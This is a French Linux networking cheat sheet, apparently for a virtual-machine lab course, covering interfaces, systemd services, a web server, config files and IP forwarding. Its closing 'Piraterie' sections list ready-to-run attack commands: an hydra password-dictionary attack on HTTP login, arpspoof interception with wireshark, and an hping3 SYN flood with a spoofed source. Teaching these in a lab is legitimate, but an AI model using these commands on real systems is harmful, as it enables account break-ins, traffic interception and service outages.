

Gestion de l'interface réseau

voir ses interfaces actives	<code>ip link</code>
allumer une carte réseau	<code>ifup <interface></code>
éteindre une carte réseau	<code>ifdown <interface></code>
<code><interface> : eth0</code>	

Gestion des services

vérifier le status d'un service	<code>systemctl status <service></code>
démarrer un service	<code>systemctl start <service></code>
arrêter un service	<code>systemctl stop <service></code>
redémarrer un service	<code>systemctl restart <service></code>
<code><service> : <nom_du_service> <nom_du_service.service></code>	

Serveur web

lancer (classique)	<code>busybox httpd -f -vv -h /var/www/html</code>
lancer (sécurisé)	<code>systemctl start lighttpd</code>
emplacement du site	<code>/var/www/html</code>
générer une clé ssl	<code>openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out nom.crt -keyout nom.key</code>

Fichiers de configuration

nom de la machine	<code>/etc/hostname</code>
gestion des dns	<code>/etc/hosts</code>
gérer la passerelle réseau	<code>/etc/network/interfaces</code>

Gestion de la machine virtuelle

lancer les machines	<code>/mnt/netta/apps/vnet/nemu-vnet netadm</code>
sauvegarder les machines	<code>poweroff</code> sur chacune des machines puis <code>save ()</code> sur le terminal
restaurer les machines	<code>/mnt/netta/apps/vnet/nemu-restore ~/vnet/netadm.tgz</code>
quitter nemu	<code>quit ()</code> dans le terminal

gestion du routeur

définir une machine comme routeur	<code>echo 1 > /proc/sys/net/ipv4/ip_forward</code>
-----------------------------------	--

Piraterie (dictionnaire)

attaquer	<code>hydra -V -f -l admin -P <fichier de mots de passe> http-get://<url victime></code>
----------	--

Piraterie (Man in the middle)

arp spoof	<code>arpspoof -t <victime> <routeur></code>
lancer wireshark	<code>wireshark -i eth0 -k</code>

Piraterie (DOS)

attaquer	<code>hping3 --flood --syn --spoof <IP source usurpée> <IP victime></code>
----------	--

